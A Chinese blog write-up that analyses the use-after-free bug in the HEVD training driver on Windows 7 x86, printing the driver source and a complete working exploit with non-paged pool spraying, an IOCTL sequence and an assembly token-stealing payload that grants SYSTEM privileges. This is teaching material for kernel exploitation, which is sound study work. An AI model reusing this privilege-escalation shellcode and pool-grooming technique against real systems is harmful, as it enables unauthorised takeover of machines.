漏洞分析丨HEVD-0x9.UseAfterFree[win7x86]

原创

极安御信安全研究院

发布于 2022-07-29 09:46:01

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发布于 2022-07-29 09:46:01

文章被收录于专栏：极安御信安全研究院

作者：selph

前言

窥探Ring0漏洞世界：释放后重用漏洞

这也是个很有趣的漏洞类型，对象释放后没有清除对象指针，以至于可能在相同的位置出现假的对象，而让程序认为对象没有被释放是可用的状态，从而执行了假的对象行为。

实验环境：

•虚拟机：Windows 7 x86

•物理机：Windows 10 x64

•软件：IDA，Windbg，VS2022

漏洞分析

本例漏洞需要多个函数调用里，直接上源码来看吧

AllocateUaFObjectNonPagedPool：

///

/// Allocate the UaF object in NonPagedPool

///

/// NTSTATUS NTSTATUS AllocateUaFObjectNonPagedPool( VOID ) { NTSTATUS Status = STATUS_UNSUCCESSFUL; PUSE_AFTER_FREE_NON_PAGED_POOL UseAfterFree = NULL; PAGED_CODE(); __try { DbgPrint("[+] Allocating UaF Object\n"); // // Allocate Pool chunk // UseAfterFree = (PUSE_AFTER_FREE_NON_PAGED_POOL)ExAllocatePoolWithTag( NonPagedPool, sizeof(USE_AFTER_FREE_NON_PAGED_POOL), (ULONG)POOL_TAG ); if (!UseAfterFree) { // // Unable to allocate Pool chunk // DbgPrint("[-] Unable to allocate Pool chunk\n"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(USE_AFTER_FREE_NON_PAGED_POOL)); DbgPrint("[+] Pool Chunk: 0x%p\n", UseAfterFree); } // // Fill the buffer with ASCII 'A' // RtlFillMemory((PVOID)UseAfterFree->Buffer, sizeof(UseAfterFree->Buffer), 0x41); // // Null terminate the char buffer // UseAfterFree->Buffer[sizeof(UseAfterFree->Buffer) - 1] = '\0'; // // Set the object Callback function // UseAfterFree->Callback = &UaFObjectCallbackNonPagedPool; // // Assign the address of UseAfterFree to a global variable // g_UseAfterFreeObjectNonPagedPool = UseAfterFree; DbgPrint("[+] UseAfterFree Object: 0x%p\n", UseAfterFree); DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool); DbgPrint("[+] UseAfterFree->Callback: 0x%p\n", UseAfterFree->Callback); } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }

申请一个非分页池空间，Buffer里填充A，以0结尾，Callback里填充一个固定的回调函数，使用全局指针变量指向该空间

使用的结构：

typedef struct _USE_AFTER_FREE_NON_PAGED_POOL { FunctionPointer Callback; CHAR Buffer[0x54]; } USE_AFTER_FREE_NON_PAGED_POOL, *PUSE_AFTER_FREE_NON_PAGED_POOL;

UseUaFObjectNonPagedPool：

///

/// Use the UaF object NonPagedPool

///

/// NTSTATUS NTSTATUS UseUaFObjectNonPagedPool( VOID ) { NTSTATUS Status = STATUS_UNSUCCESSFUL; PAGED_CODE(); __try { if (g_UseAfterFreeObjectNonPagedPool) { DbgPrint("[+] Using UaF Object\n"); DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool: 0x%p\n", g_UseAfterFreeObjectNonPagedPool); DbgPrint("[+] g_UseAfterFreeObjectNonPagedPool->Callback: 0x%p\n", g_UseAfterFreeObjectNonPagedPool->Callback); DbgPrint("[+] Calling Callback\n"); if (g_UseAfterFreeObjectNonPagedPool->Callback) { g_UseAfterFreeObjectNonPagedPool->Callback(); } Status = STATUS_SUCCESS; } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }

判断全局指针，指向的内容是否存在回调，存在就调用

FreeUaFObjectNonPagedPool：

///

/// Free the UaF object NonPagedPool

///

/// NTSTATUS NTSTATUS FreeUaFObjectNonPagedPool( VOID ) { NTSTATUS Status = STATUS_UNSUCCESSFUL; PAGED_CODE(); __try { if (g_UseAfterFreeObjectNonPagedPool) { DbgPrint("[+] Freeing UaF Object\n"); DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Chunk: 0x%p\n", g_UseAfterFreeObjectNonPagedPool); #ifdef SECURE // // Secure Note: This is secure because the developer is setting // 'g_UseAfterFreeObjectNonPagedPool' to NULL once the Pool chunk is being freed // ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG); // // Set to NULL to avoid dangling pointer // g_UseAfterFreeObjectNonPagedPool = NULL; #else // // Vulnerability Note: This is a vanilla Use After Free vulnerability // because the developer is not setting 'g_UseAfterFreeObjectNonPagedPool' to NULL. // Hence, g_UseAfterFreeObjectNonPagedPool still holds the reference to stale pointer // (dangling pointer) // ExFreePoolWithTag((PVOID)g_UseAfterFreeObjectNonPagedPool, (ULONG)POOL_TAG); #endif Status = STATUS_SUCCESS; } } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }

释放保存到全局指针的这个空间，这里暴露出UAF漏洞的问题所在：释放完之后指针没有置空，还指向那个释放的空间，如果能在这里构造一个假的结构在这里，就可以执行任意代码了

AllocateFakeObjectNonPagedPool：

///

/// Allocate the Fake object NonPagedPool

///

///The pointer to FAKE_OBJECT_NON_PAGED_POOL structure /// NTSTATUS NTSTATUS AllocateFakeObjectNonPagedPool( _In_ PFAKE_OBJECT_NON_PAGED_POOL UserFakeObject ) { NTSTATUS Status = STATUS_SUCCESS; PFAKE_OBJECT_NON_PAGED_POOL KernelFakeObject = NULL; PAGED_CODE(); __try { DbgPrint("[+] Creating Fake Object\n"); // // Allocate Pool chunk // KernelFakeObject = (PFAKE_OBJECT_NON_PAGED_POOL)ExAllocatePoolWithTag( NonPagedPool, sizeof(FAKE_OBJECT_NON_PAGED_POOL), (ULONG)POOL_TAG ); if (!KernelFakeObject) { // // Unable to allocate Pool chunk // DbgPrint("[-] Unable to allocate Pool chunk\n"); Status = STATUS_NO_MEMORY; return Status; } else { DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG)); DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool)); DbgPrint("[+] Pool Size: 0x%zX\n", sizeof(FAKE_OBJECT_NON_PAGED_POOL)); DbgPrint("[+] Pool Chunk: 0x%p\n", KernelFakeObject); } // // Verify if the buffer resides in user mode // ProbeForRead( (PVOID)UserFakeObject, sizeof(FAKE_OBJECT_NON_PAGED_POOL), (ULONG)__alignof(UCHAR) ); // // Copy the Fake structure to Pool chunk // RtlCopyMemory( (PVOID)KernelFakeObject, (PVOID)UserFakeObject, sizeof(FAKE_OBJECT_NON_PAGED_POOL) ); // // Null terminate the char buffer // KernelFakeObject->Buffer[sizeof(KernelFakeObject->Buffer) - 1] = '\0'; DbgPrint("[+] Fake Object: 0x%p\n", KernelFakeObject); } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }

HEVD为我们提供了申请假对象的调用，申请空间，将假对象从用户层填入

漏洞利用

这四个函数分别由4个控制码进行控制：

#define HEVD_IOCTL_ALLOCATE_UAF_OBJECT_NON_PAGED_POOL_NXIOCTL(0x814) // 0x222053 #define HEVD_IOCTL_USE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x815) // 0x222057 #define HEVD_IOCTL_FREE_UAF_OBJECT_NON_PAGED_POOL_NX IOCTL(0x816) // 0x22205B #define HEVD_IOCTL_ALLOCATE_FAKE_OBJECT_NON_PAGED_POOL_NX IOCTL(0x817) // 0x22205F

这个漏洞源于释放空间后，指针没有指向NULL，以至于在后续判断指针值的时候，可以伪造假对象出现在相同位置，从而成功通过对该指针的值判断，转而执行shellcode

这里的一个核心就是，让假的对象出现在真的对象释放后的内存里，可以像之前做池溢出那样，大量申请相同大小的池空间把相同大小的空闲块用光，然后申请真对象释放，此时再申请假对象的时候，大小合适的只有刚刚释放的那个块

梳理一下要做的事情：

•控制非分页池内存，确保内核对象保存到指定的位置

•申请UAF对象

•释放UAF对象

•申请假UAF对象，假的对象应该出现在真的对象的相同地址

•执行UAF回调，执行shellcode

根据参考资料[1]博文中的介绍，这里可以使用IoCompletionReserve对象来操控内存，因为它有0x60大小来填充我们的非分页池，更接近我们的UAF对象的大小。这些对象可以使用NtAllocateReserveObject函数来喷射。

内存块被释放了以后，会被装入Lookaside List里或者Free List里，当内存块变成空闲块被插入的时候，不管插入哪个List，内存块的首4字节都会被覆盖成一个链表指针

当真正对象被释放之后，指向该地址的指针会指向链表结点，通过申请相同大小的内存让这块内存再次被分配出去，从而使得该地址的首4字节被控制为shellcode

编写exp：

根据讲内核池的那篇论文（参考资料[4]），对于lookaside和ListHeads的释放总是放在适当的List前面，为了更频繁的使用CPU缓存，分配总是从适当的List前面最近使用的块进行分配；所以理论上，只要能保证进行利用的这几次申请（申请1个对象内存然后释放，紧接着申请真对象，释放真对象，申请假对象）中间没有其他相同大小的内存申请释放出现，那么布置内存只需要申请1个内存的申请释放即可完成。

#include #include // Windows 7 SP1 x86 Offsets #define KTHREAD_OFFSET0x124 // nt!_KPCR.PcrbData.CurrentThread #define EPROCESS_OFFSET 0x050 // nt!_KTHREAD.ApcState.Process #define PID_OFFSET 0x0B4 // nt!_EPROCESS.UniqueProcessId #define FLINK_OFFSET 0x0B8 // nt!_EPROCESS.ActiveProcessLinks.Flink #define TOKEN_OFFSET 0x0F8 // nt!_EPROCESS.Token #define SYSTEM_PID 0x004 // SYSTEM Process PID typedef struct _LSA_UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } LSA_UNICODE_STRING, * PLSA_UNICODE_STRING, UNICODE_STRING, * PUNICODE_STRING; typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; typedef NTSTATUS(WINAPI* NtAllocateReserveObject_t)(OUT PHANDLE hObject, IN POBJECT_ATTRIBUTES ObjectAttributes, IN DWORD ObjectType); typedef struct _FAKE_OBJECT { CHAR buffer[0x58]; } FAKE_OBJECT, * PFAKE_OBJECT; VOID TokenStealingPayloadWin7() { // Importance of Kernel Recovery __asm { pushad ; 获取当前进程EPROCESS xor eax, eax mov eax, fs: [eax + KTHREAD_OFFSET] mov eax, [eax + EPROCESS_OFFSET] mov ecx, eax ; 搜索system进程EPROCESS mov edx, SYSTEM_PID SearchSystemPID : mov eax, [eax + FLINK_OFFSET] sub eax, FLINK_OFFSET cmp[eax + PID_OFFSET], edx jne SearchSystemPID ; token窃取 mov edx, [eax + TOKEN_OFFSET] mov[ecx + TOKEN_OFFSET], edx ; 环境还原+ 返回 popad mov eax, 1 } } int main() { ULONG UserBufferSize = sizeof(FAKE_OBJECT); PVOID EopPayload = &TokenStealingPayloadWin7; HANDLE hDevice = ::CreateFileW(L"\\\\.\\HacksysExtremeVulnerableDriver", GENERIC_ALL, FILE_SHARE_WRITE, nullptr, OPEN_EXISTING, 0, nullptr); PFAKE_OBJECT UserBuffer = (PFAKE_OBJECT)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserBufferSize); // 制作假对象 RtlFillMemory(UserBuffer, UserBufferSize, 'A'); UserBuffer->buffer[UserBufferSize - 1] = '\0'; *(PULONG)UserBuffer = (ULONG)EopPayload; NtAllocateReserveObject_t NtAllocateReserveObject = (NtAllocateReserveObject_t)GetProcAddress(LoadLibraryA("ntdll.dll"), "NtAllocateReserveObject"); // 池喷射，消耗其他同等大小的空闲块 HANDLE spray_event1[10000] = { 0 }; for (size_t i = 0; i < 10000; i++) { NtAllocateReserveObject(&spray_event1[i], FALSE, 1); // IO_COMPLETION_OBJECT 1 } // 布置空洞 HANDLE holeObj = NULL; NtAllocateReserveObject(&holeObj, FALSE, 1); CloseHandle(holeObj); // 申请真对象 ULONG WriteRet = 0; DeviceIoControl(hDevice, 0x222053, NULL, 0, NULL, 0, &WriteRet, NULL); // 释放真对象 DeviceIoControl(hDevice, 0x22205B, NULL, 0, NULL, 0, &WriteRet, NULL); // 申请假对象 DeviceIoControl(hDevice, 0x22205F, (LPVOID)UserBuffer, UserBufferSize, NULL, 0, &WriteRet, NULL); // 使用对象 DeviceIoControl(hDevice, 0x222057, NULL, 0, NULL, 0, &WriteRet, NULL); HeapFree(GetProcessHeap(), 0, (LPVOID)UserBuffer); UserBuffer = NULL; // 释放申请的对象 for (size_t i = 0; i < 10000; i++) { CloseHandle(spray_event1[i]); } system("pause"); system("cmd.exe"); return 0; }

截图演示